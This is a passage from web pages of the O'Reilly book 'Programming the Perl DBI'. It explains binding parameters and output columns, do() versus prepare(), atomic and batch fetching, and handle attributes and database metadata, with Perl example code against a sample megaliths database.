PROCEDURE ceiling_floor (value IN NUMBER, c OUT NUMBER, f OUT NUMBER) IS
BEGIN
    c := CEIL(value);
    f := FLOOR(value);
END;

The DBI code to get these return values out of this procedure can be written as follows:

### The variables to be populated as return values...
my $ceiling;
my $floor;

$sth = $dbh->prepare( "BEGIN ceiling_floor( ?, ?, ? ); END;" );
$sth->bind_param( 1, 42.3 );
$sth->bind_param_inout( 2, \$ceiling, 50 );
$sth->bind_param_inout( 3, \$floor, 50 );
$sth->execute(  );

print "Stored procedure returned $ceiling, $floor\n";

You can use both bind_ param( ) and bind_ param_inout( ) on the same statement handle quite happily. Of course, if you use bind_ param( ) when a return value is expected, that return value will be lost.

There is one quite subtle difference between bind_ param( ) and bind_ param_inout( ) that's worth pointing out. When you call bind_ param( ), the bind value you supply is copied and can't be changed without calling bind_ param( ) again. However, when you call bind_ param_inout( ), it is the reference that's copied. The actual value that the reference points to is not read until execute( ) is called.

5.3.4. Binding Values Without bind_ param( )

Calling bind_ param( ) for each placeholder can be rather long-winded and tedious when you have many placeholders, so the DBI provides a simpler way to do it via the execute( ) method. When you call execute( ), you can simply give it a list of values, and execute( ) will call bind_ param( ) on each one for you.

Furthermore, the do( ) method described above, and the selectrow_array( ) and selectall_arrayref( ) methods, which we'll discuss shortly, all call execute( ) one way or another, and also accept a list of bind values.

The following code illustrates passing a bind value to the execute( ) method:

$sth = $dbh->prepare( "
            SELECT name, location, mapref
            FROM megaliths
            WHERE name = ? OR description LIKE ?
          " );
$sth->execute( "Avebury", "%largest stone circle%" );
...

When specifying bind values in this manner, explicit data typing of the supplied values is not possible. In some cases, the underlying driver will correctly guess the type, but in most cases all values are passed to the database as SQL_VARCHAR values. However, if you have previously called bind_ param( ) or bind_ param_inout( ) for some or all placeholders with an explicitly specified datatype, that datatype will be used instead. For example:

$sth->prepare( "
            SELECT name, location, mapref
            FROM megaliths
            WHERE id = ?
          " );
$sth->bind_param( 1, 42, SQL_INTEGER );
$sth->execute( 123456 );
...

will result in the value of 123456 being supplied to the database as the bind value with the type of SQL_INTEGER instead of SQL_VARCHAR.

Previous | Home | Next
5.2. Executing Non-SELECT Statements | Book Index | 5.4. Binding Output Columns
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Binding Output Columns (Programming the Perl DBI)

 Programming the Perl DBISearch this book

5.4. Binding Output Columns

In the examples of fetching data that we've seen so far, a fetch() method has been called that returns values we've copied into Perl variables. For example:

while( ( $foo, $bar ) = $sth->fetchrow_array ) { ... }

This syntax is fine, but it can get messy if many fields are being returned. It also involves extra copying of data, which can get expensive if many large strings are being fetched.

DBI supports a feature that simplifies the fetching of data and avoids the extra copying. This has the desired effect of making fetches very fast. It's known as binding columns, and it works by nominating a Perl variable to be used directly for storing values of a particular column as they are fetched. This has the basic effect that when data is fetched from the database via a fetch( ) method,[53] the Perl variables associated with each column are automatically updated with the fetched values.

[53]fetch( ) is just a handy short alias for fetchrow_arrayref( ).

The best way to illustrate this process is by an example:

### Perl variables to store the field data in
my ( $name, $location, $type );

### Prepare and execute the SQL statement
$sth = $dbh->prepare( "
            SELECT meg.name, meg.location, st.site_type
            FROM megaliths meg, site_types st
            WHERE meg.site_type_id = st.id
          " );
$sth->execute(  );

### Associate Perl variables with each output column
$sth->bind_col( 1, \$name );
$sth->bind_col( 2, \$location );
$sth->bind_col( 3, \$type );

### Fetch the data from the result set
while ( $sth->fetch ) {
    print "$name is a $type located in $location\n";
}

The method we have used to explicitly associate the Perl variables to the output columns is bind_col( ) , which takes the index of the column to associate, starting from 1, and a reference to the Perl variable to associate it with. Thus, when the fetch() call completes, the associated Perl variables will be automatically updated without having to explicitly assign the fetched values. This is an extremely efficient way of fetching data from the database, both from a programming perspective and also from a performance point of view. bind_col( ) uses references to Perl variables, and, as such, there is no additional object or memory allocation when using bound output columns.

To ensure maximum portability, bind_col( ) should be called against an executed statement handle. For example, if your database does not return any real information from the prepare( ) call, bind_col( ) will not have sufficient information to succesfully associate the output columns with the Perl variables. This might lead to extremely peculiar results.

Using bind_col( ) to explicitly bind each column individually can get a bit tiresome, especially if many output columns are used. Fortunately, DBI defines an additional method called bind_columns( ) that can be used to quickly specify column bindings for multiple columns in one call.

bind_columns( ) works in an almost identical way to bind_col( ) except that instead of explicitly specifying the column index to bind a Perl variable to, you simply specify the Perl variables and the column assignation occurs automatically. For example, the code from earlier can be rewritten in the following way to use bind_columns( ):

### Perl variables to store the field data in
my ( $name, $location, $type );

### Prepare and execute the SQL statement
$sth = $dbh->prepare( "
            SELECT meg.name, meg.location, st.site_type
            FROM megaliths meg, site_types st
            WHERE meg.site_type_id = st.id
          " );
$sth->execute(  );

### Associate Perl variables with each output column
$sth->bind_columns( undef, \$name, \$location, \$type );

### Fetch the data from the result set
while ( $sth->fetch ) {
    print "$name is a $type located in $location\n";
}

It is important to know that the number of columns specified in the SQL statement and the number of Perl variables specified in bind_columns( ) must match exactly. You cannot pick and choose which columns to fetch the data from as you can with bind_col( ).[54]

[54]The first argument to bind_columns( ) is an undef, due to historical reasons. It's no longer required if you are using DBI 1.08 or later.

Since bind_columns( ) uses bind_col( ) internally, the rules for using these two methods are the same.

Finally, we should mention that bind values specified with a SQL statement are completely unrelated to the ability to bind Perl variables to output columns of an SQL statement. They are separate operations. Bind values operate at a database input level, whereas output column bindings operate purely at a Perl output level.

Previous | Home | Next
5.3. Binding Parameters to Statements | Book Index | 5.5. do( ) Versus prepare( )
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


do( ) Versus prepare( ) (Programming the Perl DBI)

 Programming the Perl DBISearch this book

5.5. do( ) Versus prepare( )

As we mentioned in a previous section, the do( ) method supplied by the DBI makes executing non-SELECT statements much simpler than repeatedly preparing and executing statements. This is achieved by simply wrapping the prepare and execute stages into one composite method.

There is a drawback to doing this, however: performance. If you invoked do( ) repeatedly to insert a huge number of rows into a table, you could be preparing a statement handle many times more than is required, especially if the statement contained placeholder variables. For example, the following script inserts some rows into the megaliths table:

### Iterate through the various bits of data...
foreach $name ( qw( Stonehenge Avebury Castlerigg Sunhoney ) ) {
    ### ... and insert them into the table
    $dbh->do( "INSERT INTO megaliths ( name ) VALUES ( ? )",
              undef, $name );
}

Internally, what happens is that for each row being inserted, a new statement handle is created, and the statement is prepared, executed, and finally destroyed. Therefore, this loop has four prepare calls, four executes, and four destroys. However, since we're using a bind value for each loop, the database will likely need to parse the statement only once and use that statement again from the Shared SQL Cache. Therefore, in essence, our program is "wasting" three prepares of that statement.

This is a rather inefficient process. In this case, it would be better to hand-prepare and re-execute the statement handle for each iteration of the loop. For example:

### Setup the statement for repeated execution
$sth = $dbh->prepare( "INSERT INTO megaliths ( name ) VALUES ( ? )" );

### Iterate through the various bits of data...
foreach $name ( qw( Stonehenge Avebury Castlerigg Sunhoney ) ) {
    ### ... and insert them into the table
    $sth->execute( $name );
}

This code prepares the statement only once and executes it four times, once per row to be inserted. This is slightly less convenient to write, but typically significantly faster to execute.

While we're on the subject of insertion speed, it's important to point out that there may be a faster way. Using a Perl script with the DBI is unlikely ever to be as fast for bulk loading of records as the database vendors' own specially optimized tools such as Oracle's SQL*Loader or Sybase's BCP. But don't lose heart; Perl is the ideal tool to create and manipulate the data files that these loaders use.

Previous | Home | Next
5.4. Binding Output Columns | Book Index | 5.6. Atomic and Batch Fetching
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Atomic and Batch Fetching (Programming the Perl DBI)

 Programming the Perl DBISearch this book

5.6. Atomic and Batch Fetching

Atomic and batch fetching are two slightly more interesting ways of getting data out of your database. The two procedures are somewhat related to each other, in that they potentially make life a lot easier for you, but they do it in radically different ways.

5.6.1. Atomic Fetching

When you want to fetch only one row, atomic fetching allows you to compress the four-stage data fetching cycle (as described earlier) into a single method. The two methods you can use for atomic fetching are selectrow_array( ) and selectrow_arrayref( ) . They behave in a similar fashion to their row-oriented cousins, fetchrow_array( ) and fetchrow_arrayref( ), the major differences being that the two atomic methods do not require a prepared and executed statement handle to work, and, more importantly, that they will return only one row of data.

Because neither method requires a statement handle to be used, they are actually invoked via a database handle. For example, to select the name and type fields from any arbitrary row in our megaliths database, we can write the following code:

### Assuming a valid $dbh exists...
( $name, $mapref ) =
    $dbh->selectrow_array( "SELECT name, mapref
                            FROM megaliths" );
print "Megalith $name is located at $mapref\n";

This is far more convenient than using the
prepare() and execute() then
the fetchrow_array( ) or
fetchrow_arrayref( ) methods for single rows.

Finally, bind values can be supplied, which again helps with the reuse of database resources.

5.6.2. Batch Fetching

Batch fetching is the ability to fetch the entire result set from an SQL query in one call, as opposed to iterating through the result set using row-oriented methods such as fetchrow_array( ), etc.

The DBI defines several methods for this purpose, including fetchall_arrayref( ) and selectall_arrayref( ) , which basically retrieve the entire result set into a Perl data structure for you to manipulate. They are invoked against a prepared and executed statement handle.

fetchall_arrayref( ) operates in three different modes depending on what arguments have been passed to it. It can be called with no arguments, with a reference to an array slice as an argument, and with a reference to a hash slice as an argument. We'll discuss these modes in the following sections.

5.6.2.1. No arguments

When fetchall_arrayref( ) is invoked with no arguments, it returns a reference to an array containing references to each row in the result set. Each of those references refers to an array containing the field values for that row. Figure 5-1 illustrates the data structure returned.

Figure 5-1. fetchall_arrayref( ) data structure

This looks pretty convoluted, but it is, in fact, extremely simple to access the data stored within the data structure. For example, the following code shows how to dereference the data structure returned by fetchall_arrayref( ) when run with no arguments:

#!/usr/bin/perl -w
#
# ch05/fetchall_arrayref/ex1: Complete example that connects to a database,
#                             executes a SQL statement, then fetches all the
#                             data rows out into a data structure. This
#                             structure is then traversed and printed.

use DBI;

### The database handle
my $dbh = DBI->connect( "dbi:Oracle:archaeo", "username", "password" , {
    RaiseError => 1
});

### The statement handle
my $sth = $dbh->prepare( " SELECT name, location, mapref FROM megaliths " );

### Execute the statement
$sth->execute(  );

### Fetch all the data into a Perl data structure
my $array_ref = $sth->fetchall_arrayref(  );

### Traverse the data structure and dump each piece of data out
###
### For each row in the returned array reference ...
foreach my $row (@$array_ref) {
    ### Split the row up and print each field ...
    my ( $name, $type, $location ) = @$row;
    print "\tMegalithic site $name, found in $location, is a $type\n";
}

exit;

Therefore, if you want to fetch all of the result set from your database, fetchall_arrayref( ) is an efficient and easy way of doing it. This is doubly true if you were planning on building an in-memory data structure containing the returned rows for post-processing. Instead of doing it yourself, you can simply use what fetchall_arrayref( ) returned instead.

5.6.2.2. Slice array reference argument

It is also possible to use fetchall_arrayref( ) to return a data structure containing only certain columns from each row returned in the result set. For example, we might issue an SQL statement selecting the name, site_type, location, and mapref fields, but only wish to build an in-memory data structure for the rows name and location.

This cannot be done by the standard no-argument version of fetchall_arrayref( ), but is easily achieved by specifying an array slice as an argument to fetchall_arrayref( ).

Therefore, if our original SQL statement was:

SELECT meg.name, st.site_type, meg.location, meg.mapref
FROM megaliths meg, site_types st
WHERE meg.site_type_id = st.id

then the array indices for each returned row would map as follows:

name       -> 0
site_type  -> 1
location   -> 2
mapref     -> 3

By knowing these array indices for the columns, we can simply write:

### Retrieve the name and location fields...
$array_ref = $sth->fetchall_arrayref( [ 0, 2 ] );

The array indices are specified in the form standard to Perl itself, so you can quite easily use ranges and negative indices for special cases. For example:

### Retrieve the second last and last columns
$array_ref = $sth->fetchall_arrayref( [ -2, -1 ] );

### Fetch the first to third columns
$array_ref = $sth->fetchall_arrayref( [ 0 .. 2 ] );

The actual data structure created when fetchall_arrayref( ) is used like this is identical in form to the structure created by fetchall_arrayref( ) when invoked with no arguments.

5.6.2.3. Slice hash reference argument

The final way that fetchall_arrayref( ) can be used is to selectively store columns into an array reference by passing a hash reference argument containing the columns to store. This is similar to the fetchrow_hashref( ) method but returns a reference to an array containing hash references for all rows in the result set.

If we wished to selectively store the name and location columns from an SQL statement declared as:

SELECT name, location, mapref
FROM megaliths

we can instruct fetchall_arrayref( ) to store the appropriate fields by passing an anonymous hash as an argument. This hash should be initialized to contain the names of the columns to store.

For example, storing the name and location columns can be written easily as:

### Store the name and location columns
$array_ref = $sth->fetchall_arrayref( { name => 1, location => 1 } );

The data structure created by fetchall_arrayref( ) running in this mode is a reference to an array of hash references, with each hash reference keyed by the column names and populated with the column values for the row in question. Traversing this data structure is quite straightforward. The following code illustrates a technique to do it:

#!/usr/bin/perl -w
#
# ch05/fetchall_arrayref/ex3: Complete example that connects to a database,
#                             executes a SQL statement, then fetches all the
#                             data rows out into a data structure. This
#                             structure is then traversed and printed.

use DBI;

### The database handle
my $dbh = DBI->connect( "dbi:Oracle:archaeo", "username", "password" , {
    RaiseError => 1,
} );

### The statement handle
my $sth = $dbh->prepare( " SELECT name, location, mapref FROM megaliths " );

### Execute the statement
$sth->execute(  );

### Fetch all the data into an array reference of hash references!
my $array_ref = $sth->fetchall_arrayref( { name => 1, location => 1 } );

### Traverse the data structure and dump each piece of data out
###
### For each row in the returned array reference.....
foreach my $row (@$array_ref) {
    ### Get the appropriate fields out the hashref and print...
    print "\tMegalithic site $row->{name}, found in $row->{location}\n";
}

exit;

There are a couple of important points to be noted with this form of result set fetching:

  • If you have issued a SQL statement with multiple columns with the same name, the returned hash references will have only a single entry for all the columns. That is, earlier entries will be overwritten and lost. The same condition applies to fetchrow_hashref( ), since this method is what fetchall_arrayref( ) calls internally when given a hash slice.

    An example piece of SQL that would cause problems is:

    SELECT m.name, c.name
FROM megaliths m, countries c
WHERE m.country_id = c.id

    In this case, the returned hash reference for the rows would contain either the country column values, or the megalith column values, but not both.

  • The second point regarding this use of fetchall_arrayref( ) is that the column names stored in the returned hash are always lowercase. The case that the database uses and the case used in the parameter to fetchall_arrayref( ) are ignored.

To sum up, batch value fetching is a convenient way to retrieve all the data in the result set into Perl data structures for future processing. Do keep in mind, though, that large results sets will eat large amounts of memory. If you try to fetch too large a data set, you will run out of memory before the method returns to you. Your system administrator may not be amused.

Previous | Home | Next
5.5. do( ) Versus prepare( ) | Book Index | 6. Advanced DBI
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Advanced DBI (Programming the Perl DBI)

 Programming the Perl DBISearch this book

Chapter 6. Advanced DBI

Contents:

Handle Attributes and Metadata
Handling LONG/LOB Data
Transactions, Locking, and Isolation

This chapter covers some of the more advanced topics of using DBI, including the ability to alter the way in which the database and statement handles function on-the-fly, as well as how to use explicit transaction handling within your database. These topics are not strictly necessary for basic DBI usage, but they contain useful information that will allows you to maximize the potential of your DBI programs.

6.1. Handle Attributes and Metadata

In addition to methods associated with database and statement handles, the DBI also defines attributes for these handles that allow the developer to examine or fine-tune the environment in which the handles operate. Some attributes are unique to either database or statement handles, and some are common to both.

The attribute values of a handle can be thought of as a hash of key/value pairs, and can be manipulated in the same way as you would manipulate an ordinary hash via a reference. Here are a few examples using the AutoCommit attribute:

### Set the database handle attribute "AutoCommit" to 1 (e.g., on)
$dbh->{AutoCommit} = 1;

### Fetch the current value of "AutoCommit" from the handle
$foo = $dbh->{AutoCommit};

Fetching attributes as hash values, rather than as method calls, has the added bonus that the hash lookup can be interpolated inside double-quoted strings:

### Print the current value of "AutoCommit" from the handle
print "AutoCommit: $dbh->{AutoCommit}\n";

With AutoCommit enabled, that would print:

AutoCommit: 1

as you might expect. Actually, since AutoCommit is a boolean attribute, it would print 1 after any value that Perl considers true had been assigned to it.

After a false value was assigned, you may reasonably expect a 0 to be printed, but you might be surprised to see:

AutoCommit:

That's because Perl uses an internal representation of false that is both a numeric zero and an empty string at the same time. When used in a string context, the empty string is printed. In a numeric context, the zero is used.

When getting or setting an attribute value, the DBI automatically checks that the attribute name you are using and generates an error if it's not known.[55] Similarly, any attempts to set a read-only attribute will result in an error. Be aware, however, that these errors are reported using die() regardless of the setting of the RaiseError attribute, and are thus potentially fatal. That's another good reason to use eval {...} blocks, as we discussed in Chapter 4, "Programming with the DBI ".

[55]Driver-specific attributes, e.g., those that start with a lowercase letter, are a special case. Any get or set of a driver-specific attribute that hasn't been handled by the driver is handled by the DBI without error. That makes life easier for driver developers. On the other hand, you need to take extra care with the spelling.

A statement handle is known as a child, or kid, of its parent database handle. Similarly, database handles are themselves children of their parent driver handle. Child handles inherit some attribute values from parent handles. The rules for this behavior are defined in a common-sense manner and are as follows:

  • A statement handle will inherit (copy) the current values of certain attributes from its parent database handle.

  • If that new statement handle then has its attribute values altered, this affects neither the parent database handle nor any other statement handles. The changes are contained entirely within the altered statement handle.

  • Changes to attributes within a database handle do not affect any of its existing child statement handles. The database handle attribute changes only affect future statement handles created from that database handle.

The DBI specification in Appendix A, "DBI Specification " should be consulted for complete information on which attributes are inherited.

6.1.1. Passing Attributes to DBI Methods

Handles carry with them their set of current attribute values that methods often use to control how they behave. Many methods are defined to also accept an optional reference to a hash of attribute values.

This is primarily an escape mechanism for driver developers and their users, and so does not always work in the way you might think. For example, you might expect this code:

$dbh->{RaiseError} = 1;
...
$dbh->do( $sql_statement, undef, { RaiseError => 0 } ); # WRONG

to turn off RaiseError for the do() method call. But it doesn't! Attribute parameters are ignored by the DBI on all database handle and statement handle method calls. You don't even get a warning that the attribute has been ignored.

If they're ignored, then what's the point in having them? Well, the DBI itself ignores them, but the DBD driver that processed the method call may not. Or then again, it may! Attribute hash parameters to methods are hints to the driver and typically only usefully hold driver-specific attributes.[56]

[56]It's possible that a future version of the DBI may look for certain non-driver-specific attributes, such as RaiseError.

That doesn't apply to the DBI->connect() method call because it's not a driver method, it's a DBI method. Its attribute hash parameter, \%attr , is used to set the attributes of the newly created database handle. We gave some examples using RaiseError in Chapter 4, "Programming with the DBI ", and we give more in the following section.

6.1.2. Connecting with Attributes

One of Perl's many catch phrases is "there's more than one way to do it," and the DBI is no exception. In addition to being able to set attributes on a handle by simple assignment and by the attribute parameter of the connect() method (as shown earlier), the DBI provides another way.

You can include attribute assignments in the data source name parameter of the connect() method. For example:

$dbh = DBI->connect( "dbi:Oracle:archaeo", "username", "password" , {
    RaiseError => 1
});

can also be expressed as:

$dbh = DBI->connect( "dbi:Oracle(RaiseError=>1):archaeo", '', '');

You can't have any space before the opening parenthesis or after the closing one before the colon, but you can have spaces within the parentheses. You can also use just = instead of => if you prefer. If you want to set more than one attribute then use a comma to separate each one.

The attribute settings in the data source name parameter take precedence over those in the attribute parameter. This can be very handy when you want to override a hardcoded attribute setting, such as PrintError. For example, this code will leave PrintError on:

$dbh = DBI->connect( "dbi:Oracle(PrintError=>1):archaeo", '', '', {
    PrintError => 0
});

But what's the point of just hardcoding the attribute setting in two different places? This example is not very useful as it stands, but we could let the application accept the data source name parameter from the command line as an option, or leave it empty and use the DBI_DSN environment variable. That makes the application much more flexible.

6.1.3. The Significance of Case

You may have noticed that some attribute names use all uppercase letters, like NUM_OF_FIELDS, while others use mixed case letters, like RaiseError. If you've seen any descriptions of individual database drivers you may have also noticed some attribute names that use all lowercase letters, like ado_conn and ora_type.

There is a serious method behind the apparently inconsistent madness. The letter case used for attribute names is significant and plays an important part in the portability of DBI scripts and the extensibility of the DBI itself. The letter case of the attribute name is used to signify who defined the meaning of that name and its values, as follows:

UPPER_CASE

Attribute names that use only uppercase letters and underscores are defined by external standards, such as ISO SQL or ODBC.

The statement handle TYPE attribute is a good example here. It's an uppercase attribute because the values it returns are the standard portable datatype numbers defined by ISO SQL and ODBC, and not the nonportable native database datatype numbers.

MixedCase

Attribute names that start with an uppercase letter but include lowercase letters are defined by the DBI specification.

lower_case

Attribute names that start with a lowercase letters are defined by individual database drivers. These are known as driver-specific attributes.

Because the meanings are assigned by driver authors without any central control, it's important that two driver authors don't pick the same name for attributes with different behaviors. To ensure this, driver-specific attributes all begin with a prefix that identifies the particular driver. For example, DBD::ADO attributes all begin with ado_ , DBD::Informix attributes begin with ix_, etc.

For example, most drivers provide a driver-specific version of the statement handle TYPE attribute that returns the native database datatype numbers instead of the standard ones. DBD::Oracle calls it ora_type, DBD::Ingres calls it ing_ingtype, and DBD::mysql calls it mysql_type. The prefix also makes it easier to find driver-specific code in applications when maintaining them.

Driver-specific attributes play an important role in the DBI. They are an escape valve. They let drivers expose more of the special functionality and information that they have available without having to fit it inside the fairly narrow DBI straitjacket.

6.1.4. Common Attributes

Common attributes are those that can be queried and set within both database and statement handles. This section discusses some of the most commonly used attributes, including:

PrintError

The PrintError attribute, when enabled, will cause the DBI to issue a warning when a DBI method returns with an error status. This functionality is extremely useful for rapid debugging of your programs, as you may not have written explicit return value checking code after every DBI statement.

The printed error string lists the class of the database driver through which the DBI method was dispatched, the method that caused the error to occur, and the value of $DBI::errstr. The following message was generated when the prepare() method did not successfully execute against an Oracle7 database using the DBD::Oracle driver:

DBD::Oracle::db prepare failed: ORA-00904:
   invalid column name (DBD: error possibly near <*> indicator at char 8 in '
           SELECT <*>nname, location, mapref
           FROM megaliths
     ') at /opt/WWW/apache/cgi-bin/megalith/megadump line 79.

PrintError uses the standard Perl function called warn() to render the error message. Therefore, you could use a $SIG{_ _WARN_ _} error handler or an error handling module such as CGI::ErrorWrap to re-route the error messages from PrintError.

This attribute is enabled by default.

RaiseError

The RaiseError attribute is similar in style to its PrintError cousin, but differs slightly in operation. Whereas PrintError simply displayed a message when the DBI detected an error had occurred, RaiseError usually kills the program stone-dead.

RaiseError uses the standard Perl function die() to throw the exception and exit. This means you can use eval to catch the exception and deal with it yourself.[57] This is an important and valuable error handling strategy for larger applications and is highly recommended when using transactions.

[57]It also allows you to define a $SIG{_ _DIE_ _} handler, which handles the die() call instead of the Perl default behavior.

The format of the error message printed by RaiseError is identical to that of PrintError. If both PrintError and RaiseError are defined, PrintError will be skipped if no $SIG{_ _DIE_ _} handler is installed.[58]

[58]A future release may also skip PrintError if RaiseError is set and the current code is executing within an eval.

RaiseError is disabled by default.

ChopBlanks

This attribute regulates the behavior of the underlying database driver regarding the CHAR datatype in fixed-width and blank-padded character columns. By setting this attribute to a true value, any CHAR columns returned by a SELECT statement will have any trailing blanks chopped off. No other datatypes are affected even when trailing blanks are present.

Setting ChopBlanks usually occurs when you simply want to remove trailing spaces from data without having to write some explicit truncation code either in the original SQL statement or in Perl.

This can be a very handy mechanism when dealing with old databases that tend to use fixed-width, blank-padded CHAR types more often than VARCHAR types. The blank padding added by the database tends to get in the way.

This attribute is currently disabled by default.

LongReadLen and LongTruncOk

Many databases support BLOB (binary large object), LONG, or similar datatypes for holding very long strings or large amounts of binary data in a single field. Some databases support variable-length long values over 2,000,000,000 bytes in length.

Since values of that size can't usually be held in memory, and because databases can't usually know in advance the length of the longest LONG that will be returned from a SELECT statement (unlike other datatypes), some special handling is required. In this situation, the value of the LongReadLen attribute is used to determine how much buffer space to allocate when fetching such fields.

LongReadLen typically defaults to or a small value like 80, which means that little or no LONG data will be fetched at all. If you plan to fetch any LONG datatypes, you should set LongReadLen within your application to slightly more than the length of the longest long column you expect to fetch. Setting it too high just wastes memory.[59]

[59]Using a value which is a power of two, such as 64 KB, 512 KB, 8 MB etc., can actually cause twice that amount to be taken on systems that have poor memory allocators. That's because a few extra bytes are needed for housekeeping information and, because the dumb allocator only works with powers of two, it has to double the allocation to make room for it.

The LongTruncOk attribute is used to determine how to behave if a fetched value turns out to be larger than the buffer size defined by LongReadLen. For example, if LongTruncOk is set to a true value, (e.g., "truncation is okay") the over-long value will be silently truncated to the length specified by LongReadLen, without an error.

On the other hand, if LongTruncOk is false then fetching a LONG data value larger than LongReadLen is treated as an error. If RaiseError is not enabled then the fetch call retrieving the data will appear to fail in the usual way, which looks like the end of data has been reached.

LongTruncOk is set to false by default, which causes overly long data fetches to fail. Be sure to enable RaiseError or check for errors after your fetch loops.

We'll discuss handling LONG data in more detail in later in this chapter.

The DBI specification in Appendix A, "DBI Specification " provides a complete list of all the common attributes defined within the DBI.

6.1.5. Database Handle Attributes

Database handle attributes are specific to database handles and are not valid for other types of handles. They include:

AutoCommit

The AutoCommit database handle attribute can be used to allow your programs to use fine-grained transaction behavior (as opposed to the default "commit everything" behavior).

The functionality of this attribute is closely tied into the way in which DBI defines transaction control. Therefore, a complete description of this parameter can be found later in this chapter.

Name

The Name database handle attribute holds the "name" of the database. Usually the same as the "dbi:DriverName:..." string used to connect to the database, but with the leading "dbi:DriverName:" removed.

The DBI Specification in Appendix A, "DBI Specification " provides a complete list of all the database handle attributes defined within the DBI. We'll discuss statement handle attributes in a moment, but first we'll explore database metadata.

6.1.6. Database Metadata

Database metadata is high-level information, or "data about data," stored within a database describing that database. This information is extremely useful for dynamically building SQL statements or even generating dynamic views of the database contents.

The metadata stored by a database, and the way in which it's stored, varies widely between different database systems. Most major systems provide a system catalog , consisting of a set of tables and views that can be queried to get information about all the entities in the database, including tables and views. There are two common problems with trying to query the system catalog directly: they can be complex and difficult to query, and the queries are not portable to other types of database.

The DBI should provide a range of handy methods to access this information in a portable way, and one day it will. However, currently it only provides two methods that can be executed against a valid database handle to extract entity metadata from the database.

The first of these methods is called tables() , and simply returns an array containing the names of tables and views within the database defined by the relevant database handle. The following code illustrates the use of this method:

### Connect to the database
my $dbh = DBI->connect( 'dbi:Oracle:archaeo', 'stones', 'stones' );

### Get a list of tables and views
my @tables = $dbh->tables();

### Print 'em out
foreach my $table ( @tables ) {
    print "Table: $table\n";
}

Connecting to a MySQL database would generate:

Table: megaliths
Table: media
Table: site_types

However, connecting to an Oracle database would generate:

Table: STONES.MEGALITHS
Table: STONES.MEDIA
Table: STONES.SITE_TYPES

In both cases, if the database contains other tables, they'd be included in the output.

Oracle stores all names in uppercase by default, so that explains one of the differences, but what about the "STONES." that's been prefixed to each table name?

Oracle, like most other big database systems, supports the concept of schemas . A schema is a way of grouping together related tables and other database objects into a named collection. In Oracle each user gets their own schema with the same name as the user. (Not all databases that support schemas take this approach.)

If an Oracle user other than stones wanted to refer to the media table then, by default, they would need to fully qualify the table name by adding the stones schema name, e.g., stones.media. If they didn't then the database would think they were refering to a media table in their own schema.

So, the leading STONES in the output is the name of the schema that the tables are defined in. Returning the fully qualified table names is important because the tables() method will return the names of all the tables owned by all the users that it can discover.

The other method used to retrieve database metadata is called table_info() , and returns more detailed information about the tables and views stored within the database.

When invoked, table_info() returns a prepared and executed statement handle that can be used to fetch information on the tables and views in the database. Each row fetched from this statement handle contains at least the following fields in the order listed:[60]

[60]Database drivers are free to include additional columns of information in the result data.

TABLE_QUALIFIER

This field contains the table qualifier identifier. In most cases this will be undef (NULL).

TABLE_OWNER

This field contains the name of the owner of the table. If your database does not support multiple schema or table owners, this field will contain undef (NULL).

TABLE_NAME

This field contains the name of the table and should never be undef.

TABLE_TYPE

This field contains the ``type'' of entity signified by this row. The possible values include TABLE, VIEW, SYSTEM TABLE, GLOBAL TEMPORARY, LOCAL TEMPORARY, ALIAS, SYNONYM, or some database driver-specific identifier.

REMARKS

This field contains a description or comment about the table. This field may be undef (NULL).

Therefore, if we wished to list some basic information on the tables contained within the current schema or database, we can write the following program that uses table_info() to retrieve all the table information, then formats the output:

#!/usr/bin/perl -w
#
# ch06/dbhdump: Dumps information about a SQL statement.

use DBI;

### Connect to the database
my $dbh = DBI->connect( "dbi:Oracle:archaeo", "username", "password" , {
    RaiseError => 1
} );

### Create a new statement handle to fetch table information
my $tabsth = $dbh->table_info();

### Print the header
print "Qualifier  Owner     Table Name                       Type   Remarks\n";
print "=========  ========  ===============================  =====  =======\n\n";

### Iterate through all the tables...
while ( my ( $qual, $owner, $name, $type, $remarks ) =
        $tabsth->fetchrow_array() ) {

    ### Tidy up NULL fields
    foreach ($qual, $owner, $name, $type, $remarks) {
        $_ = "N/A" unless defined $_;
    }

    ### Print out the table metadata...
    printf "%-9s  %-9s %-32s %-6s %s\n", $qual, $owner, $name, $type, $remarks;
}

exit;

Running this program against our megalithic database on an Oracle database produces the following output:

Qualifier  Owner     Table Name                       Type   Remarks
=========  ========  ===============================  =====  =======

N/A        STONES    MEDIA                            TABLE  N/A
N/A        STONES    MEGALITHS                        TABLE  N/A
N/A        STONES    SITE_TYPES                       TABLE  N/A

This form of metadata is not tremendously useful, as it lists only metadata about the objects within the database, and not the structure of the objects themselves (such as table column names). Extracting the structure of each table or view within the database requires us to look to a different type of metadata, which is available via statement handles.

6.1.7. Statement Handle Attributes or Statement Metadata

Statement handle attributes are specific to statement handles, and inherit any inheritable attributes from their parent database handle. Many statement handle attributes are defined as being read-only because they simply describe the prepared statement or its results.

In theoretical terms, these attributes should be defined when the statement handle is prepared, but in practical terms, you should only rely on the attribute values after the statement handle has been both prepared and executed. Similarly, with a few drivers, fetching all the data from a SELECT statement or explicitly invoking the finish() method against a statement handle may cause the values of the statement handle attributes to be no longer available.

The DBI specification in Appendix A, "DBI Specification " provides a complete list of all the statement handle attributes defined within the DBI.

Statement

This attribute contains the statement string passed to the prepare() method.

NUM_OF_FIELDS

This attribute is set to contain the number of columns that will be returned by a SELECT statement. For example:

$sth = $dbh->prepare( "
            SELECT name, location, mapref
            FROM megaliths
          " );
$sth->execute();
print "SQL statement contains $sth->{NUM_OF_FIELDS} columns\n";

Non-SELECT statements will contain the attribute value of zero. This allows you to quickly determine whether or not the statement is a SELECT statement.

NAME
NAME_uc
NAME_lc

The NAME attribute contains the names of the selected columns within the statement. The attribute value is actually a reference to an array, with length equal to the number of fields in the original statement.

For example, you can list all the column names of a table like this:

$sth = $dbh->prepare( "SELECT * FROM megaliths" );
$sth->execute();
for ( $i = 1 ; $i <= $sth->{NUM_OF_FIELDS} ; $i++ ) {
    print "Column $i is called $sth->{NAME}->[$i-1]\n";
}

The names contained within the attribute array are the column names returned by the underlying database.

There are two additional attributes relating to the column names. NAME_uc contains the same column names as the NAME attribute, but with any lowercase characters converted to uppercase. Similarly the NAME_lc attribute has any uppercase characters converted to lowercase. Generally these attributes should be used in preference to NAME.

TYPE

